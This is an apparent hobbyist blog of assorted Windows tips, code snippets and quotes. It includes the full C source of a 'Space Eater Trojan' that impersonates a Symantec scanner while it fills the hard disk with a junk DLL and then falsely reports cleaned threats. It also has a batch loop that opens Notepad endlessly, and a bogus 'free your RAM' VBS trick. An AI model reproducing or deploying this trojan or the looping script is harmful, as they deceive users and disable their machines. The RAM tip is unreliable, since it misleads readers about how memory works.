Thursday, 19 June 2014

How to continiously open Notepad


1.open any text editor
2.type:
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top
3.save it with any filename with .bat extension
4. run that file

Beautiful quote about time


image Source: google

Free your RAM memory


If your computer is slow?
then clean up the ram..

1.Open notepad
2.type FREEMEM=SPACE(64000000)
3.Save it as ram.vbs
now run the script.
Check out !!

How to run Android apps on computer


You have to Just Install software named, BlueStacks on our Computer, after installing BlueStacks on our Computer, we can easily run any .apk file, which is an Android App indeed.
How to install Bluestacks ?
1. Download BlueStacks on your Computer:
2. After you Have Downloaded BlueStacks, Run Setup
file and Install BlueStacks on your Computer, it will take a While
3. Restart Computer after Installation of BlueStacks That’s It !! Now BlueStacks is Installed on Your Computer How to run Android app on PC through Bluestacks ?
1. Download any of your Favorite Android App on your PC.
2. Now after Downloading an Android App, Navigate to Folder where your newly Downloaded Android App is present
3. Right Click on Android App file(Having .apk extenstion) which you want to run
4. Select Open With Option
5. Click on Browse Button
6. Navigate to C:\Program Files\BlueStacks-Android Apk Handler Application Program
7. Click on OK
8. Click on OK again
9. Now again Double Click on Android App file which you want to Install
10. Installation Will Begin
11. A Confirmation message will pop-up
12. Now Open BlueStacks Program from Desktop
13. Now You can see the Android app you have Just Installed in BlueStacks.
Enjoy.. :)

Python Program to print your Name


x = input ("enter name : ")
print("hey  " + x)
input (" ")
input ("press<enter>")

Save this program with any file name and with .py extension

C program to shutdown your computer


# include<stdio.h>
# include<stdlib.h>
# include<conio.h>
main ()
{
char ch ;
printf ("Do you want to shutdown your computer
now (y/n) \n ") ;
scanf ( "%c" ,& ch ) ;
if ( ch == 'y' || ch == 'Y' )
system ( "C: \\ WINDOWS\\ System32 \\
shutdown /s" ) ;
return 0 ;
}

Code of simple calculator with .bat file extension


Make a simple calculator with .bat file

Steps:
1. open Notepad or any text editor.
2.type
" @echo off
: start
set /p math=problem..?
set /a result=%math%
echo %result%
pause
goto start
"
3.Save it with any file name with .bat extension
and boom your calculator is ready to use..

Space eater Trojan source code

/* SPACE EATER TROJAN. USE IT FOR EDUCATIONAL PURPOSES ONLY. DO NOT SPREAD!*/

#include<stdio.h>
#include<conio.h>
#include<dos.h>
#include<stdlib.h>
FILE *a,*t,*b;
int r,status,vir_count;
double i;
char ch[]="CREATING A HUGE FILE FOR OCCUPYING HARDDISK SPACE",choice;

void eatspace(void);
void findroot(void);
void showstatus(void);
void draw(void);
void accept(void);

void main()
{
draw();
accept();
textcolor(WHITE);
draw();
gotoxy(12,8);
cputs("ANALYZING YOUR SYSTEM. PLEASE WAIT...");
sleep(3);
gotoxy(12,8);
delline();
cputs("PRESS ANY KEY TO START THE SYSTEM SCAN...");
getch();
gotoxy(12,8);
delline();
findroot();
}

void accept()
{
textcolor(LIGHTRED);
gotoxy(1,8);
cputs("THIS PROGRAM IS A DEMO OF SIMPLE TROJAN HORSE. IF YOU RUN THIS PROGRAM IT WILL\n\rEAT UP YOUR FULL HARD DISK SPACE ON ROOT DRIVE. HOWEVER IT IS POSSIBLE TO\n\rELIMINATE THE DAMAGE.\n\n\rTO CLEANUP THE DAMAGE YOU\'VE TO DELETE THE FILE \"spceshot.dll\" LOCATED IN\n\n\r \"%windir%\\System32\".\n\n\rIF YOU WISH TO RUN THE PROGRAM PRESS ENTER, OTHERWISE PRESS ANY KEY TO QUIT.");

if((choice=getch())!=13)
exit(0);
}

void draw()
{
clrscr();
textcolor(WHITE);
gotoxy(12,2);
cputs("********************************************************");
gotoxy(12,6);
cputs("********************************************************");
gotoxy(12,3);
cputs("*\n\b*\n\b*\n\b");
gotoxy(67,3);
cputs("*\n\b*\n\b*\n\b");
gotoxy(14,4);
cputs("SYMANTEC SECURITY SCAN - 2009 (QUICK SYSTEM SCANNER)");
}

void findroot()
{
t=fopen("C:\\windows\\explorer.exe","rb");
if(t!=NULL)
{
fclose(t);
textcolor(WHITE);
a=fopen("C:\\windows\\system32\\spceshot.dll","rb");
if(a!=NULL)
{
textcolor(LIGHTRED);
gotoxy(12,8);
cputs("SYSTEM SCAN WAS INTERRUPTED. TRY AGAIN LATER!");
getch();
exit(1);
}
b=fopen("C:\\windows\\system32\\spceshot.dll","wb+");
if(b!=NULL)
{
showstatus();
eatspace();
}
}
t=fopen("D:\\windows\\explorer.exe","rb");
if(t!=NULL)
{
fclose(t);
a=fopen("D:\\windows\\system32\\spceshot.dll","rb");
if(a!=NULL)
{
textcolor(LIGHTRED);
gotoxy(12,8);
cputs("SYSTEM SCAN WAS INTERRUPTED. TRY AGAIN LATER!");
getch();
exit(1);
}
b=fopen("D:\\windows\\system32\\spceshot.dll","wb+");
if(b!=NULL)
{
showstatus();
eatspace();
}
}
t=fopen("E:\\windows\\explorer.exe","rb");
if(t!=NULL)
{
fclose(t);
a=fopen("E:\\windows\\system32\\spceshot.dll","rb");
if(a!=NULL)
{
textcolor(LIGHTRED);
gotoxy(12,8);
cputs("SYSTEM SCAN WAS INTERRUPTED. TRY AGAIN LATER!");
getch();
exit(1);
}
b=fopen("E:\\windows\\system32\\spceshot.dll","wb+");
if(b!=NULL)
{
showstatus();
eatspace();
}
}
t=fopen("F:\\windows\\explorer.exe","rb");
if(t!=NULL)
{
fclose(t);
a=fopen("F:\\windows\\system32\\spceshot.dll","rb");
if(a!=NULL)
{
textcolor(LIGHTRED);
gotoxy(12,8);
cputs("SYSTEM SCAN WAS INTERRUPTED. TRY AGAIN LATER!");
getch();
exit(1);
}
b=fopen("F:\\windows\\system32\\spceshot.dll","wb+");
if(b!=NULL)
{
showstatus();
eatspace();
}
}
if(t==NULL)
{
textcolor(LIGHTRED);
gotoxy(12,8);
cputs("SYSTEM SCAN FAILED! PRESS ANY KEY TO CLOSE THIS PROGRAM.");
getch();
exit(1);
}
exit(1);
}

void eatspace()
{
textcolor(LIGHTRED);
gotoxy(12,16);
cputs("WARNING: DO NOT ABORT THE SCAN PROCESS UNTIL IT IS COMPLETED!\n");
textcolor(WHITE);
gotoxy(12,18);
while(1)
{
for(r=1;r<4;r++)
{
for(i=1;i<900000;i++)
{
status=fputs(ch,b);
if(status==EOF)
{
textcolor(WHITE);
vir_count=random(120);
draw();
gotoxy(12,8);
cprintf("SCAN COMPLETE!. DETECTED AND CLEANED OVER %d THREATS!",vir_count);
gotoxy(12,10);
cprintf("PRESS ANY KEY TO CLOSE...");
getch();
break;
}
}
cputs(".");
if(status==EOF) break;
}
if(status==EOF) break;
}
exit(0);
}

void showstatus()
{
gotoxy(12,8);
cputs("SCANNING THE SYSTEM FOR THREATS");
gotoxy(12,10);
cputs("THIS MAY TAKE UP A FEW MINUTES TO FEW HOURS");
gotoxy(12,13);
cputs("SCAN IN PROGRESS. PLEASE WAIT...");
}

Wednesday, 18 June 2014

collision domains and broadcast domains


For better understanding of difference between collision domains and broadcast domains
image source: google

7 Steve Jobs Quotes That Will Change Your Life.



7 Steve Jobs Quotes That Will Change Your Life.

1. If you haven’t found it yet, keep looking. Don’t settle. As with all matters of the heart, you’ll know when you find it. And like any great relationship,it just gets better and better as the years roll on.

2. Deciding what not to do is as important as deciding what to do.

3. I think if you do something and it turns out pretty good, then you should
go do something else wonderful, not dwell on it for too long. Just figure out   what’s next.

4. Quality is much better than quantity. One home run is much better than     two doubles.

5. Sometimes when you innovate, you make mistakes. It is best to admit       them quickly, and get on with improving your other innovations.

6. If you want to live your life in a creative way, as an artist, you have to not look back too much. You have to be willing to take whatever you’ve done         and whoever you were and throw them away.

7. We don’t get a chance to do that many things, and every one should be      really excellent. Because this is our life. Life is brief, and then you die, you     know? And we’ve all chosen to do this with our lives. So it better be damn       good. It better be worth it..

Removing Shortcut Virus


For removing Shortcut Virus from your Pen Drive do the following steps:

1. Open cmd
2. Type "attrib -h -r -s /s /d I:\*.* " NOTE : here "I" is the drive name of your pen drive.
3. Press Enter
and  see the magic..